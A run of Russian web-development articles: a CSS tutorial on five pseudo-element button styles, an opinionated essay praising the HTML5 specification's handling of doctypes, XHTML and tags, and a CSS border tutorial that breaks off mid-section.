.a_demo_one {
background-color:#ba2323;
padding:10px;
position:relative;
font-family: 'Open Sans', sans-serif;
font-size:12px;
text-decoration:none;
color:#fff;
border: solid 1px #831212;
background-image: linear-gradient(bottom, rgb(171,27,27) 0%, rgb(212,51,51) 100%);
border-radius: 5px;
}
.a_demo_one:active {
padding-bottom:9px;
padding-left:10px;
padding-right:10px;
padding-top:11px;
top:1px;
background-image: linear-gradient(bottom, rgb(171,27,27) 100%, rgb(212,51,51) 0%);
}
Теперь сделаем серый контейнер вокруг кнопки, используя псевдо-элемент ::before. Абсолютное позиционирование сделает нашу жизнь легче при позиционировании самого элемента.
.a_demo_one::before {
background-color:#ccd0d5;
content:"";
display:block;
position:absolute;
width:100%;
height:100%;
padding:8px;
left:-8px;
top:-8px;
z-index:-1;
border-radius: 5px;
box-shadow: inset 0px 1px 1px #909193, 0px 1px 0px #fff;
}
Второй пример
Этот пример немного сложнее из-за 3D-эффекта. Изначально кнопка находится за пределами контейнера, затем, при щелчке она уходит вниз:
.a_demo_two {
background-color:#6fba26;
padding:10px;
position:relative;
font-family: 'Open Sans', sans-serif;
font-size:12px;
text-decoration:none;
color:#fff;
background-image: linear-gradient(bottom, rgb(100,170,30) 0%, rgb(129,212,51) 100%);
box-shadow: inset 0px 1px 0px #b2f17f, 0px 6px 0px #3d6f0d;
border-radius: 5px;
}
.a_demo_two:active {
top:7px;
background-image: linear-gradient(bottom, rgb(100,170,30) 100%, rgb(129,212,51) 0%);
box-shadow: inset 0px 1px 0px #b2f17f, inset 0px -1px 0px #3d6f0d;
color: #156785;
text-shadow: 0px 1px 1px rgba(255,255,255,0.3);
background: rgb(44,160,202);
}
Стили
А вот здесь уже сложнее:
Так как положение псевдо-элемента зависит от родительского элемента, то при перемещении родительского элемента на несколько пикселей, псевдо-элемент необходимо переместить на столько же пикселей, но в другую сторону.
.a_demo_two::before {
background-color:#072239;
content:"";
display:block;
position:absolute;
width:100%;
height:100%;
padding-left:2px;
padding-right:2px;
padding-bottom:4px;
left:-2px;
top:5px;
z-index:-1;
border-radius: 6px;
box-shadow: 0px 1px 0px #fff;
}
.a_demo_two:active::before {
top:-2px;
}
Третий пример
Это одна из моих любимых кнопок, так как такой еще не было, перед тем, как я ее создал. Кажется, людям она очень нравится. Кнопка разделена на две части, и когда вы нажимаете на нее, она как бы «ломается».
Стили
Опять таки, начнем с легкой части. Обратите внимание на то, что здесь появился отступ. Он необходим для компенсирования ширины псевдо-элемента, если нужно расположить кнопку по центру. Если же не нужно, то отступ можно не использовать.
.a_demo_three {
background-color:#3bb3e0;
font-family: 'Open Sans', sans-serif;
font-size:12px;
text-decoration:none;
color:#fff;
position:relative;
padding:10px 20px;
border-left:solid 1px #2ab7ec;
margin-left:35px;
background-image: linear-gradient(bottom, rgb(44,160,202) 0%, rgb(62,184,229) 100%);
border-top-right-radius: 5px;
border-bottom-right-radius: 5px;
box-shadow: inset 0px 1px 0px #2ab7ec, 0px 5px 0px 0px #156785, 0px 10px 5px #999;
}
.a_demo_three:active {
top:3px;
background-image: linear-gradient(bottom, rgb(62,184,229) 0%, rgb(44,160,202) 100%);
box-shadow: inset 0px 1px 0px #2ab7ec, 0px 2px 0px 0px #156785, 0px 5px 3px #999;
}
Перейдем к псевдо-элементам:
.a_demo_three::before {
content:"·";
width:35px;
max-height:29px;
height:100%;
position:absolute;
display:block;
padding-top:8px;
top:0px;
left:-36px;
font-size:16px;
font-weight:bold;
color:#8fd1ea;
text-shadow:1px 1px 0px #07526e;
border-right:solid 1px #07526e;
background-image: linear-gradient(bottom, rgb(10,94,125) 0%, rgb(14,139,184) 100%);
border-top-left-radius: 5px;
border-bottom-left-radius: 5px;
box-shadow:inset 0px 1px 0px #2ab7ec, 0px 5px 0px 0px #032b3a, 0px 10px 5px #999 ;
}
.a_demo_three:active::before {
top:-3px;
box-shadow:inset 0px 1px 0px #2ab7ec, 0px 5px 0px 0px #032b3a, 1px 1px 0px 0px #044a64, 2px 2px 0px 0px #044a64, 2px 5px 0px 0px #044a64, 6px 4px 2px #0b698b, 0px 10px 5px #999 ;
}
Четвертый пример
На этот раз мы будем использовать псевдо-элемент для стрелки, используя фоновое изображение. Вместо изображений так же можно использовать эти шрифтовые иконки.
Стили
.a_demo_four {
background-color:#4b3f39;
font-family: 'Open Sans', sans-serif;
font-size:12px;
text-decoration:none;
color:#fff;
position:relative;
padding:10px 20px;
padding-right:50px;
background-image: linear-gradient(bottom, rgb(62,51,46) 0%, rgb(101,86,78) 100%);
border-radius: 5px;
box-shadow: inset 0px 1px 0px #9e8d84, 0px 5px 0px 0px #322620, 0px 10px 5px #999;
}
.a_demo_four:active {
top:3px;
background-image: linear-gradient(bottom, rgb(62,51,46) 100%, rgb(101,86,78) 0%);
box-shadow: inset 0px 1px 0px #9e8d84, 0px 2px 0px 0px #322620, 0px 5px 3px #999;
}
.a_demo_four::before {
background-color:#322620;
background-image:url(../images/right_arrow.png);
background-repeat:no-repeat;
background-position:center center;
content:"";
width:20px;
height:20px;
position:absolute;
right:15px;
top:50%;
margin-top:-9px;
border-radius: 50%;
box-shadow: inset 0px 1px 0px #19120f, 0px 1px 0px #827066;
}
.a_demo_four:active::before {
top:50%;
margin-top:-12px;
box-shadow: inset 0px 1px 0px #827066, 0px 3px 0px #19120f, 0px 6px 3px #382e29;
}
Пятый пример
Этот пример не очень крутой, но вы можете его доработать по своему усмотрению.
Стили
.a_demo_five {
background-color:#9827d3;
width:150px;
display:inline-block;
font-family: 'Open Sans', sans-serif;
font-size:12px;
text-decoration:none;
color:#fff;
position:relative;
margin-top:40px;
padding-bottom:10px;
padding-top:10px;
background-image: linear-gradient(bottom, rgb(168,48,232) 100%, rgb(141,32,196) 0%);
border-bottom-right-radius: 5px;
border-bottom-left-radius: 5px;
box-shadow: inset 0px 1px 0px #ca73f8, 0px 5px 0px 0px #6a1099, 0px 10px 5px #999;
}
.a_demo_five:active {
top:3px;
background-image: linear-gradient(bottom, rgb(168,48,232) 0%, rgb(141,32,196) 100%);
box-shadow: inset 0px 4px 1px #7215a3, 0px 2px 0px 0px #6a1099, 0px 5px 3px #999;
}
.a_demo_five::before {
background-color:#fff;
background-image:url(../images/heart.gif);
background-repeat:no-repeat;
background-position:center center;
border-left:solid 1px #CCC;
border-top:solid 1px #CCC;
border-right:solid 1px #CCC;
content:"";
width:148px;
height:40px;
position:absolute;
top:-30px;
left:0px;
margin-top:-11px;
z-index:-1;
border-top-left-radius: 5px;
border-top-right-radius: 5px;
}
.a_demo_five:active::before {
top: -33px;
box-shadow: 0px 3px 0px #ccc;
}
В заключение
Ну, вот и все. Не забывайте, что эти создание этих кнопок является экспериментом, так что не каждый браузер будет корректно их отображать.
Спасибо за чтение этого урока, я надеюсь, вы найдете ему применение.
Демонстрация | Исходники
Стандарт HTML5 уже почти готов к использованию. Где-то все еще идут жаркие споры по конкретным секциям DOM, видеокодекам, анимации и прочим 3D, но основа HTML5 — его синтаксис, атрибуты и теги — уже устаканились. Эти разделы стандарта не меняются уже многие месяцы; окончательно и по факту их зафиксируют релизы IE9 и FF4, после чего какие-либо их изменения в рамках пятой версии станут невозможны.
Так как костыли для старых версий IE уже созданы и обкатаны, то уже совсем-совсем скоро, начиная новый проект, можно будет открыть свой любимый редактор и, не скрывая наслаждения, написать
<!doctype html>
Сначала, конечно, html5 появится скорее в бложиках энтузиастов, чем на серьезных сайтах, но — вот увидите — через несколько лет в каждой региональной газете появятся объявления типа «ремонт и настройка ПК, заправка принтеров, 1С, сайты на HTML5».
В IT, как и в других областях техники, спецификации бывают хорошие, как у Страуструпа, а бывают плохие и даже отвратительные, как спецификация ECMAScript. По моему скромному мнению, спецификация HTML5 обещает стать воистину великой, просто-таки образцовой вершиной этого бюрократического жанра.
Пролистывая на выходных свежую версию черновика стандарта (от 5-ого марта), я в очередной раз не мог не восхититься изящностью принятых решений и филигранной точностью формулировок родившейся в тяжелых муках спецификации.
Эта статья о том, почему стандарт html5 получился именно такой, и что на самом деле скрывается за его внешне обтекаемыми формулировками.
Разработка HTML5 началась с революции — откола рабочей группы WHATWG в лице Mozilla, Opera и Apple от основного консорциума. Я не хочу пересказывать всю историю, но главной причиной раскола стало то, что в www-консорциуме («w3c») практически не осталось ни людей, связанных с реальным использованием html, ни даже разработчиков браузеров. Консорциум превратился в сборище корпоративных бюрократов, решавших свои собственные конкурентные и маркетинговые задачи.
В конечном итоге, конечно, бунтарям пришлось «покаяться» и получить необходимое благословение официальной бюрократии, поэтому многие места содержат формулировки, которые выглядят компромиссом, если не сказать прогибом. Но в техническом плане стандарт был создан не «демократически», а группой под авторитарным управлением Яна Хиксона, бывшего на тот момент разработчиком Оперы, и большинство компромиссов на самом деле имеют двойное дно.
Стоит отметить, что даже в режиме авторитарного управления разработка стандарта потребовала семи лет жарких споров, которые продолжаются на периферии и до сих пор. Я отлично понимаю, что «не всех война убила», и что публично поддерживая то или иное решение WhatWG, я отчаянно рискую своей кармой. Плевать; если хоть кого-то статья заставит задуматься, я буду рад. Как говорят на одном популярном Л-ресурсе, перед вами статья-детектор, в (комментах к) которой пока не хватает ненависти.
Повторюсь, в этой статье я не претендую на абсолютную истину. Моё «политическое кредо» определяется тем, что я в первую очередь практик. Я сверстал собственноручно сотни сайтов, на работу в своей студии я нанимал и увольнял десятки верстальщиков и подтирал за ними тысячи ляпов и косяков, вызванных неверным применением модных техник. В любом свежем поветрии меня в первую очередь интересует практический эффект, а не обещаемое улучшение моей кармы, длины моего е-пениса или суммы общечеловеческого счастья. Я твердо знаю, что никто кроме меня и моих сотрудников не будет читать мой html код, я смеюсь над попытками сверстать таблицу блоками, я также знаю, что ни пользователи, ни поисковые роботы никогда не увидят разницы между <b> и <strong>. Я искренне считаю, что идеальный код — это тот, которого нет, даже если это усложняет абстрактным неучам написание парсеров к их очередной супер-Х-технологии; я требую, чтобы код любой страницы был чист как слеза младенца, иначе его невозможно будет поддерживать; и я также знаю, что даже самая искренняя вера в мощь XML, верстку блоками, семантику или какой-нибудь еще неведомую разрекламированную фигню не дает автоматического права не думать головным мозгом.
Простите за длинное вступление, я, кажется, увлекся. Итак.
1. Доктайп
Как вы, наверное, уже поняли, в HTML остался всего один тип документа, а именно
<!doctype html>
Краткое пояснения для людей, не владеющих техническими тонкостями верстки. Тип документа — doctype — объявляет используемый данной страницей диалект языка, то есть допустимый набор тегов и атрибутов. Документы без указанного doctype считаются сверстанными по совсем старым правилам (до html4) и отображаются в режиме совместимости (quirks mode). Чтобы страница выглядела попиксельно одинаково в разных браузерах необходимо (но далеко не достаточно) правильно указывать доктайп и затем его придерживаться.
Проверка на соответствие реальной страницы заявленному доктайпу называется валидацией, а страница, прошедшая такую проверку — валидной. «Главный валидатор» находится на сайте W3C; также существуют валидаторы в виде плагинов к браузерам и IDE. Если в студии верстка ведется валидно, то такой валидатор-плагин позволяет сразу обнаруживать ошибки в коде на самой ранней стадии, зажигая лампочку «Хьюстон, у нас проблемы», даже если в браузере разработчика страница отображается полностью корректно. Кроме того, валидность оставляет слабую надежду на совместимость результата с будущими версиями браузеров Microsoft.
На данный момент действует одновременно 6 допустимых доктайпов — это по три диалекта (Frameset, Transitional и Strict) для двух языков — HTML и XHTML. Разумеется, не существует браузеров, отображающих, скажем, только XHTML Frameset; все [современные] реальные браузеры поддерживают все типы документов. Точнее, конечно же, они поддерживают некий супер-доктайп, обобщающий все шесть, который у каждого браузера — свой. В идеале, именно этот один универсальный доктайп и должен был остаться. Он и остался. Теперь это просто html.
Первым пал диалект Frameset; хотя кое-где в веб-интерфейсах китайских коммутаторов еще можно встретить фреймы, официально тег <frame> сотоварищи больше не существует. Туда ему и дорога. (Речь о совсем старых фреймах, <iframe> никто не трогал).
Вторым ожидаемо пал Transitional, который в дополнение ко всем тегам диалекта Strict содержал атрибуты, дублирующие CSS-свойства, такие как width и bgcolor. На заре внедрения HTML4 это было необходимо для обеспечения совместимыми со старыми сайтами и старыми браузерами, но сейчас это уже неактуально. Тэги font, center и им подобные, равно как и атрибуты align, valign, width, height, cellspacing и cellpadding остались в прошлом, и слава Богу. Разумеется, все сделано с умом: у тега img атрибуты width и height выполняют другую функцию, поэтому они никуда не делись.
Таким образом, остался диалект Strict, но для двух языков: HTML и XHTML. Вот здесь уже кипели нешуточные войны, языки собирались окончательно разойтись, но… ставший смертельным выстрел сделала Apple, выйдя из рабочей группы по XHTML 2.0. Победители, впрочем, вполне обоснованно не стали добивать этот формат и позволили ему продолжить существование в качестве подмножества HTML5. Объявляется «новый xhtml» так:
<?xml version="1.0" encoding="UTF-8"?>
<html xmlns="http://www.w3.org/1999/xhtml">
После такого объявления верстальщик добровольно обязуется соблюдать все требования XML, в том числе, строго нижний регистр, закрытие всех тегов и кавычки в атрибутах.
Сейчас я попробую объяснить, почему утвержденный вариант решения проблемы объединения нельзя назвать иначе как мудрым.
Творец всемирной паутины Тим Бернерс-Ли создал HTML не на пустом месте. HTML это приложение (подмножество) метаязыка SGML, работы над которым начались в IBM еще в 1969 году. Он мощен, гибок и имеет строгое математическое обоснование алгоримтов своего разбора, но его синтаксис позволяет достаточно вольные выкрутасы вполне в духе созданного тогда же языка Си, а написать корректный парсер HTML с учетом DTD достаточно сложно.
XHTML, хотя и очень похож на HTML с клевой буквой Х впереди (от столь приятной сердцу любого bullshit-маркетолога eXtensibility, «расширяемости»), основан не на SGML, а на XML, то есть представляет собой совершенно другой язык. XML — это созданный, кстати, w3c метаязык, синтаксис которого настолько прост и формален, что написать для него парсер способен любой знающий рекурсию школьник. В отличие от верстаемого преимущественно вручную HTML, XML ориентирован на программную генерацию кода, поэтому любое отклонение от формальной структуры в XML-файле cчитается исключительной ошибкой, свидетельствующей о сбое в программе-генераторе. По стандарту, невалидные XML документы должны объявляться непригодными к использованию, и в большинстве систем именно так все и происходит.
XML нашел широкое применение в различных распределенных системах, таких как ERP, CRM, в разнообразном коммерческом и банковском софте и т.п., где совместимость между самым разным железом и софтом, а также надежность передачи данных действительно очень важны.
Однако, подобное поведение — отказ от обработки всего документа при обнаружении любой ошибки — абсолютно неприемлемо для веба, где большую часть контента создают отнюдь не программы и даже не верстальщики, а сайт-менеджеры, писатели, блоггеры и, зачастую, рядовые посетители сайтов. Если условная «девочка» случайно забудет записать мантру < вместо символа «меньше» (<), XML — страница станет невалидной, и, по требованиям XML, вообще не должна отображаться браузером. Уже этого достаточно для понимания того факта, что XHTML был изначально мертворожденным.
Вообще, стандарт XHTML потребовался для того, чтобы использовать HTML-подобную разметку внутри XML-документов. Например, в XML-прайслисте может существовать поле «описание товара», в котором это самое описание может быть отформатировано при помощи XHTML-тегов (все тех же курсива <i>, ссылок <a>, разбивки на абзацы <p> и т.п.). До тех пор, пока это описание создается при помощи RichText поля ввода, которое само создает тэги и гарантирует валидность получаемого кода (пусть даже там каша из тегов, но валидная каша) — все нормально. Но как только возникает необходимость вставить текст, взятый «из дикого интернета», — в этот момент любые преимущества XHTML заканчиваются. Как бы глубоко не был xhtml совместим с xml, все равно необходимо писать отдельный парсер, который выкинет из внешнего html весь лишний css и javascript, причешет код и оставит только нужные тэги. Это не перетягивание одеяла и не желание усложнить кому-то жизнь, это, в первую очередь, очевидные требования безопасности и надежности.
В свое время стандарты XML и XHTML рекламировались производителями коммерческого софта как серебряная пуля, после которой наступит неизбежное совместимое счастье. XML действительно во многих случаях помог объединить разрозненные и плохо совместимые системы. В качестве примера можно привести ONIX XML, на котором в России работает полностью автоматический электронный обмен всеми коммерческими данными (прайсами, анонсами, заявками, накладными и т.п.) между всеми издательствами и подавляющим большинством книжных магазинов.
А вот с XHTML не сложилось. Очень многие разработчики клюнули на рекламу и стали использовать XHTML как некий «строгий» формат, он стал даже моден, но по факту 99.9% созданных на XHTML сайтов в условиях реальной эксплуатации все равно содержат ошибки, и, таким образом, не выполняют требования XML. Из-за этого ни один реальный браузер или серьезный парсер также никогда не полагается на XML-валидность и даже не ожидает ее. То есть, собственно во всемирной паутине, о которой и должен в первую очередь заботиться WWW Consortium, XHTML нормально не используется.
XHTML вообще странный язык. Продвигаемый как приложение (грубо говоря, подмножество) XML, он таковым не является. В XHTML существуют правила, например, запрет вложенности для тегов <a> и <p>, которые не могут быть выражены в терминах XML. То есть возможен код, валидный с точки зрения XML, но невалидный в XHTML. При этом, ради обеспечения XML-валидности были принесены в жертву гибкость и человекочитаемость html-разметки.
На практике, HTML никогда не применяется сам по себе. Обычно используется гремучая смесь html, css, javascript и какого-нибудь php или на чем там написана система управления сайтом. В последних трех языках, как и подавляющем большинстве других, синтаксис таков, что всё, заключенное в кавычки, считается строковой константой и код внутри кавычек дальше не интерпретируется; а вот все остальное заключать в кавычки нельзя или нежелательно. В XHTML же в кавычки должны быть заключены любые значения атрибутов, включая числа, идентификаторы, перечисления и так далее. Постоянные переключения синтаксиса в одном файле ни к чему хорошему не приводят, глаз программиста замыливается, и становятся возможными достаточно трудно вылавливаемые синтаксические ошибки.
Читаемость в xhtml также сильно отстает от читаемости html. Например, html-тег
<input id=doYouAgree type=checkbox selected disabled>
превращается в монструозный
<input id="doyouagree" type="checkbox" selected="selected" disabled="disabled" />
Когда код генерируется программно — это почти не проблема, если не считать лишние затраты памяти; но при ручной верстке весь этот цифровой мусор заметно снижает производительность труда.
Но главная беда XHTML, конечно же, это обязательность закрывающих тегов, за которыми не стоит никаких сущностей реального мира. Речь здесь о </td>, </p> и прочих </li>, использование которых в xhtml приводит к очень неприятным ошибкам, которые в обычных языках программирования принято называть ошибками проектирования.
Вот например тег </td>, который обозначает «конец ячейки таблицы». Этот самый конец ячейки не может существовать в чистом виде. В настоящих, а не абстрактных таблицах этот конец всегда совпадает либо с началом следующей ячейки, либо с концом всей таблицы. В xhtml же технически возможен (и с точки зрения XML даже валиден!) вот такой код:
<td> текст ячейки </td> текст между ячейками, отображайте где хотите <td></td>
Если скормить нечто такое браузеру, он взгрустнет, но текст между ячейками все-таки вынужденно отобразит. Где-то. Это «где-то» будет точно не внутри той таблицы, где встретилось это безобразие, а где-то еще. И непонятно с какими стилями. Если бы тега </td> не было, этот текст бы «прилип» к предыдущей ячейке и был бы сразу «вычислен» при отладке; ну в крайнем случае он был бы хотя бы показан прямо рядом с нужным местом, и читатель смог бы догадаться, что к чему. В XHTML же типичная «success story» представляет собой страницу с каким-нибудь сложным отчетом, который внезапно некорректно отображаться у пользователя IE для древней MacOS, и все что у вас есть — это скриншот, на котором часть ячеек уехало за пределы таблицы. Вот и ищите.
Я уж молчу о том, что будет с почти любой страницей, если ей влепить в случайное место лишний (непарный) </td>.
Это, конечно, не значит, что закрывающие теги вообще нельзя использовать. Можно и часто нужно. Но не всегда. В мире вообще мало вещей, которые должны соблюдаться всегда.
Чтобы все-таки обеспечить совместимость с XML, в html5 оставили не только закрывающие тэги для элементов-контейнеров, но и впервые для html допустили самозакрытые теги (в том числе тег <br/> вызывающий Warning в валидаторе HTML 4.01 Strict).
Из других нововведений в доктайп стоит отметить наконец-то добавленную расширяемость пользователем атрибутов тегов; теперь верстальщики могут записывать любую нужную им информацию в атрибуты data-*. Передавая параметры в какой-нибудь скрипт, который обработает ваши теги после загрузки, наконец-то можно забыть о rel, rev и прочих экзотических атрибутах как о потенциальных «осликах».
Резюмируя раздел о доктайпе:
1. WhatWG угодила всем бюрократам, нашедшим в спецификации понятные для себя слова, но не разбирающимся в технических деталях;
2. На самом же деле, они оставили из 6 виртуальных доктайпов один реальный, соблюдения которого действительно можно требовать и добиваться;
3. XHTML, как вещь, фактически не работающая на практике, официально прекратил существование;
4. В html5 стала возможной прямая выгрузка форматированного текста из XML в HTML;
5. Появилась возможность форматировать html валидно с точки зрения XML там, где это действительно нужно;
6. Язык html остался грамотно спроектированным и удобным для ручной верстки;
7. Наконец, стало официально невозможным создать прямой шлюз из «дикого» интернета в закрытые корпоративные XML-системы без установки промежуточного парсера, что хорошо с точки зрения безопасности.
Таким образом, двумя элегантными штрихами и одним метким выстрелом WhatWG сделал для реальной совместимости XML и HTML намного больше, чем весь язык XHTML за всю свою десятилетнюю историю и со всеми потраченными на его рекламу миллионами. Браво, иначе не скажешь!
Новые теги и семантическая верстка
Принцип семантической верстки в сайтостроении очень похож на антропный принцип в физике. В слабой своей форме они оба очевидны до степени аксиомы; в сильной же оба принципа являются исключительно вопросом веры, не имеющим отношения к данной нам Господом в ощущениях объективной реальности.
Итак, слабый принцип семантической верстки предписывает верстать, допустим, список, представляющий, скажем, меню сайта, с использованием (барабанная дробь) не таблиц, не блоков <div> и не простой последовательности ссылок с текстовыми разделителями — а, вы не поверите, с использованием списочных тегов <ol> или <ul>. А еще Кэп намекает, что шурупы хоть и можно забивать молотком, но отвертка все-таки удобнее.
В сильном варианте все намного хуже. Верстая левую колонку сайта, запрещается называть её #left, потому как на самом деле это не просто левая колонка, а тулбар; и вообще, она может ВНЕЗАПНО стать правой, а названия в стилях и скриптах так и останутся #left и в будущем будут сбивать с толку. Ну, с доводами уровня «если бы у бабушки был кий» как-то даже не хочется спорить, а тема ООПухолей мозга на хабре полностью раскрыта. Блин, неважно, как называется тот или иной блок, если это название однозначно понятно всем, кто будет с ним работать; что касается переноса блока #left вправо без его переименования, то за такой «рефакторинг» нужно карать в любом случае.
К сожалению, ипсиссимусы секты семантистов пробрались в w3c и попытались отменить теги, существование которых противоречит их религии. Так, например, под вопросом оказалось существование тега <b>, обозначающего полужирное начертание текста (bold). Вместо него предлагалось использовать тег <strong>, который ранее применялся для выделения сильных (в смысле важных) утверждений.
В конце концов тег <b> партии здравого смысла удалось отстоять, но если раньше им обозначался просто полужирный текст, то теперь им следует выделять, цитирую, «spans of text whose typical typographic presentation is emboldened», то есть подстроки, которые обычно выделяются полужирным при печати. О как!
На первый взгляд, это решение из серии «и вашим и нашим» и вообще болтология, но, если разобраться, автор этой фразы достоин настоящих оваций и чемпионского звания в номинации бюрократического словоблудия. Это не сарказм, я сейчас объясню, что к чему.
Всё дело в тонкой логической ошибке в рассуждениях семантистов. Классы «полужирных» и «важных» подстрок совпадают не на 100%, а всего на 99%. Другими словами, существуют слова и фразы, обозначаемые полужирным шрифтом, но не выделяющиеся из текста семантически.
Примером могут служить векторные величины в математических формулах. Их принято обозначать стрелкой сверху, а когда это технически невозможно (как в случае HTML), — печатать полужирным шрифтом. Совсем не выделять их никак нельзя, так как могут существовать скалярные величины с таким же обозначением. Никакой «важности» сам факт векторности величины также не несет. Когда я рассказываю про вектор напряженности электрического поля E, тег <b> нужен мне в своем первозданном виде, чтобы отличать эту величину от энергии системы Е. И да, <span class=vector> с заведомо единственным стилем font-weight:bold на каждое упоминание Е просьба не предлагать. Мне работать надо, а не спотыкаться глазами о бесконечные спаны и классы.
Кроме того, далеко не всегда верстальщик имеет право вносить хоть какие-то изменения в текст. Бывают, например, произведения классиков, в которых они используют курсив и полужирное начертание исключительно в художественных целях (то есть так, как им лично захотелось), или, может, в соответствии с устаревшими на данный момент правилами языка, или еще как-то не по правилам. Тэги <strong> и <em>, вообще говоря, не должны быть обязательно полужирным и курсивом, они вполне могут выделять текст, допустим, другим цветом. От верстальщика классики же требуется строго сохранить авторское написание. Точка. Про span см. выше.
В-общем, <b> и <i> отстояли. Более того, в html5 переопределили смысл тега <strong>, теперь вместо «сильных» утверждений им следует выделять именно «важные» (англ. «important»).
Вот честно, в переопределении смысла тега <strong> я лично не вижу других мотивов, кроме мести за бредовость нового смысла <b>. Хотя, возможно, речь идет об обычном буквоедстве самих семантистов.
А вот тег <u>, обозначающий подчеркивание, отстоять не удалось. Официально — по той причине, что подчеркиванием в вебе принято выделять ссылки. Проблема в том, что выделение ссылок подчеркиванием это всего лишь культурный обычай определенной социальной группы. Всемирный стандартный формат текстовых (простите, гипертекстовых) документов должен быть универсальным и подходить в том числе для нужд представителей «оффлайновой» культуры. А в их книгах и документах подчеркивание встречается и активно используется и безотносительно ссылок. Из-за этого html5 теряет однозначную совместимость с распространенными текстовыми форматами, в которых подчеркивание есть. Его, разумеется, можно реализовать через стили, но здесь отсутствует именно однозначность такой конверсии.
Из позитивных изменений можно отметить тот факт, что в языке появились теги <header>, <footer>, <article> и прочие <nav>, которые в html4 почти всегда реализовывались при помощи тега <div> с «говорящими» идентификаторами или классами.
Сейчас нехватка в языке блочных тегов приводит к тому, что в html-коде почти любой современной страницы можно наблюдать цепочки вида </div></div></div>. В количестве этих </div> очень даже легко ошибиться, особенно если на странице есть контент, отправленный рядовыми пользователями. Лишний или просто расположенный не там </div> может привести к развалу всей верстки, причем в разных браузерах эффект будет разным. В случае же специализированных тегов, во-первых, статья будет всегда заканчиваться уникальным тегом </article>, и развал всей верстки странице грозить не будет, а во-вторых, запись <article> просто понятнее, удобнее и короче, чем <div class=article>.
Новая жизнь тега <a>
Последним в рамках этой статьи изменением, достойном всяческих похвал, стало полное переосмысление тега <a>. Проблем с этим тегом столько, что в проекте XHTML 2.0 его предлагалось вообще удалить из языка, разрешив всем остальным тегам иметь атрибут href и куда-то ссылаться. (С тегом img и атрибутом src предлагалось поступить аналогично. Спасибо, Apple, мы не забудем!).
Изначально <a> предназначался для создания якорей на странице, и получил свое имя от слова anchor — «якорь». По задумке, выглядело это примерно так:
<h3><a name=chapter3>Часть 3</a></h3>
и, где-то в другом месте,
... в <a href=#chapter3>третьей части</a>...
Но кривая развития веба сложилась так, что сначала использовать ссылки внутри страницы стало «немодно» и про якоря подзабыли, а затем редко используемый формат подхватили AJAX-приложения, которым было нужно как-то отображать своё состояние на адресную строку. но в которых уже не было никаких якорей.
Еще одной проблемой стала путаница между атрибутами id и name, которые могут не совпадать. Если первый должен обязательно быть уникальным, то атрибут name может быть общим для нескольких элементов, например, у образующих одну группу радиокнопок. При этом обозначение части ссылки в url через решетку указывает на атрибут name, но в CSS та же конструкция относится уже к id!
В-общем, теперь ссылка с #решеткой указывает на элемент не по name, а по его id, причем не на элемент <a> в режиме якоря, а вообще на любой элемент с объявленным id.
Сам же тег <a> якорем быть перестал. Теперь, если у <a> не указан атрибут href, считается, что это временно неработающая ссылка, которая возможно будет инициализирована скриптом. Что касается атрибута name, то у тега <a> он должен или совсем отсутствовать, или — для совместимости — совпадать со значением атрибута id.
Еще одно изменение связано с тем, что теперь тег <a> перестал считаться строчным элементом. То есть, в html4 внутрь тега <a> нельзя было включить пару абзацев или, скажем, таблицу. В html5 можно объявлять ссылкой и строчные, и блочные элементы.
Да, конечно, я тоже ненавижу, когда кто-нибудь в ЖЖ забудет закрыть ссылку, и вся его писанина на много абзацев выделяется цветом и подчеркиванием. Но иногда это все-таки нужно. Например, для создания HTML-баннеров с какой-нибудь анимацией, или (типичный вариант) чтобы сделать ссылкой красиво оформленный блок «название товара как h5 + картинка + цена + описание». Объявлять ссылку на один и тот же урл внутри каждого блочного элемента — не очень хорошая идея.
Вместо заключения
Читая новый стандарт, трудно избежать эпитетов типа «здорово!», «молодцы» и «надо же, и об этом не забыли!». Люди действительно работали эти семь лет, выявляя недостатки html4 и вырабатывая продуманные и взвешенные решения. Это невиданный доселе прогресс. Версии html 3.2 и ниже вообще фактически никем не разрабатывались. Версия 4 просто закрепляла в своей transitional-части фактическое состояние дел после браузерной войны. Так что пятая версия станет первой действительно спроектированной в том смысле, в каком принято что-либо проектировать в мире IT, и, черт побери, она станет хорошо спроектированной.
Да, конечно, как-то мы жили и раньше. Вопрос в том, как. Просто вспомните, что уходящая эпоха — это эпоха IE6. Этим все сказано.
Все знакомы с css параметром border, но есть ли вещи, которые мы не знаем о нем?
Основы
Всем знакомо такое использование:
border: 1px solid black;
Это однопиксельная сплошная рамка. Немного меняем синтаксис:
border-width: thick;
border-style: solid;
border-color: black;
Например у параметра border-width есть три параметра: thin, medium, thick:
Если необходимо менять цвет границы при наведении на объект:
.box {
border: 1px solid red;
}
.box:hover {
border: 1px solid green;
}
Но так это реализовать проще и правильнее:
.box {
border: 1px solid red;
}
.box:hover {
border-color: green;
}
Border-Radius
border-radius — это новый параметр CSS3 для отображения закругленных углов, который корректно работает во всех современных браузерах, за исключением Internet Explorer 8 (и более старых версий).
Для каждого угла можно назначить свое закругление:
border-top-left-radius: 20px;
border-top-right-radius: 0;
border-bottom-right-radius: 30px;
border-bottom-left-radius: 0;
В приведенном примере необязательно назначать «0» border-top-right-radius и border-bottom-left-radius, если они не наследуют значения, которые должны быть изменены.
Всю конструкцию можно сжать в одну строку:
/* top left, top right, bottom right, bottom left */
border-radius: 20px 0 30px 0;
А вот как можно нарисовать лимон средствами CSS:
.lemon {
width: 200px; height: 200px;
background: #F5F240;
border: 1px solid #F0D900;
border-radius: 10px 150px 30px 150px;
}
Здесь описаны самые простые и популярные примеры применения параметра border. Перейдем к более сложным.
Несколько границ
Border-Style
solid, dashed, and dotted — самые популярные значения параметра border-style, но давайте рассмотрим другие, например, groove and ridge.
border: 20px groove #e3e3e3;
Или более подробно:
border-color: #e3e3e3;
border-width: 20px;
border-style: groove;
Outline
Самый популярный способ создания двойной границы — это параметр outline:
.box {
border: 5px solid #292929;
outline: 5px solid #e3e3e3;
}
Этот способ отлично работает, но ограничен созданием двойной рамки. Если вам необходимо отобразить несколько границ элемента, то необходимо использовать другую технику.
Псевдоэлементы
Можно использовать такую конструкцию:
.box {
width: 200px; height: 200px;
background: #e3e3e3;
position: relative;
border: 10px solid green;
}
/* Create two boxes with the same width of the container */
.box:after, .box:before {
content: '';
position: absolute;
top: 0; left: 0; bottom: 0; right: 0;
}
.box:after {
border: 5px solid red;
outline: 5px solid yellow;
}
.box:before {
border: 10px solid blue;
}
Возможно это не самое элегантное решение, однако оно работает
Box-Shadow
Еще один способ, с применением теней:
.box {
border: 5px solid red;
box-shadow:
0 0 0 5px green,
0 0 0 10px yellow,
0 0 0 15px orange;
}
Изменение углов
К параметру border-radius можно применять два значения, используя "/", например:
